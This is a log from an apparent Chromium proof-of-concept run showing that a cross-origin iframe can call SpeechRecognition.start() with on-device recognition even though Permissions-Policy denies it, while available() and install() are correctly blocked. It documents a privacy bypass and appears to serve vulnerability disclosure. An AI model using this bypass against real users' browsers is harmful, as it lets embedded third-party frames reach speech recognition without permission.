[968:968:0517/003025.528542:INFO:CONSOLE:26] "[POC][embedder] origin=http://localhost:18347 embedding cross-origin iframe http://127.0.0.1:18347/attack.html with NO allow="on-device-speech-recognition"", source: http://localhost:18347/index.html (26)
[968:968:0517/003025.574537:INFO:CONSOLE:10] "[POC][iframe http://127.0.0.1:18347] running in iframe; top-origin differs (cross-site subframe)", source: http://127.0.0.1:18347/attack.html (10)
[968:968:0517/003025.574999:INFO:CONSOLE:10] "[POC][iframe http://127.0.0.1:18347] featurePolicy.allowsFeature('on-device-speech-recognition') = false  (expected: false — PP default EnableForSelf)", source: http://127.0.0.1:18347/attack.html (10)
[968:968:0517/003025.577383:INFO:CONSOLE:10] "[POC][iframe http://127.0.0.1:18347] SpeechRecognition.available({en-US, processLocally:true}) => 'unavailable'  (expected: 'unavailable' — PP enforced)", source: http://127.0.0.1:18347/attack.html (10)
[968:968:0517/003025.577612:INFO:CONSOLE:10] "[POC][iframe http://127.0.0.1:18347] SpeechRecognition.install() rejected: NotAllowedError: Access denied from cross-origin iframes.  (expected: NotAllowedError — PP enforced)", source: http://127.0.0.1:18347/attack.html (10)
[968:968:0517/003025.771768:INFO:CONSOLE:10] "[POC][iframe http://127.0.0.1:18347] created live audio MediaStreamTrack kind=audio state=live", source: http://127.0.0.1:18347/attack.html (10)
[968:968:0517/003025.771877:INFO:CONSOLE:10] "[POC][iframe http://127.0.0.1:18347] >>> BUG: start(track) returned WITHOUT throwing. <<<", source: http://127.0.0.1:18347/attack.html (10)
[968:968:0517/003025.771937:INFO:CONSOLE:10] "[POC][iframe http://127.0.0.1:18347] >>> The renderer sent Start{on_device=true} to the browser despite Permissions-Policy denying on-device-speech-recognition for this cross-origin iframe. available()/install() correctly blocked above; start() did not. <<<", source: http://127.0.0.1:18347/attack.html (10)
[968:968:0517/003025.771996:INFO:CONSOLE:10] "[POC][iframe http://127.0.0.1:18347] >>> Browser side: see [POC][browser] log lines (instrumentation patch) showing on_device=true and can_render_frame_use_on_device=true with NO PP check. If SODA en-US is installed profile-wide, this iframe is now bound directly to the SODA utility process. <<<", source: http://127.0.0.1:18347/attack.html (10)
[968:968:0517/003025.787372:ERROR:content/browser/speech/speech_recognition_dispatcher_host.cc:191] [POC][browser] SpeechRecognition Start IPC received: frame_origin=http://127.0.0.1:18347 is_main_frame=0 params->on_device=1 params->allow_cloud_fallback=1 can_render_frame_use_on_device=1 PermissionsPolicy(kOnDeviceSpeechRecognition)=0  <-- browser COULD check this but does NOT
[968:968:0517/003025.787472:ERROR:content/browser/speech/speech_recognition_dispatcher_host.cc:202] [POC][browser] *** BUG CONFIRMED: renderer requested on_device=true but Permissions-Policy DENIES on-device-speech-recognition for this frame; browser applies no PP gate on Start. With SODA installed this frame would be bound to the on-device recognizer. ***
[968:968:0517/003025.790037:INFO:CONSOLE:10] "[POC][iframe http://127.0.0.1:18347] onstart fired — session created in browser", source: http://127.0.0.1:18347/attack.html (10)
[968:968:0517/003025.795471:INFO:CONSOLE:10] "[POC][iframe http://127.0.0.1:18347] onaudiostart fired", source: http://127.0.0.1:18347/attack.html (10)
[968:968:0517/003025.848081:INFO:CONSOLE:10] "[POC][iframe http://127.0.0.1:18347] onerror: 'network' — note: NOT 'not-allowed'; start() bypassed the PP gate that available()/install() enforce", source: http://127.0.0.1:18347/attack.html (10)
[968:968:0517/003025.848655:INFO:CONSOLE:10] "[POC][iframe http://127.0.0.1:18347] onend fired", source: http://127.0.0.1:18347/attack.html (10)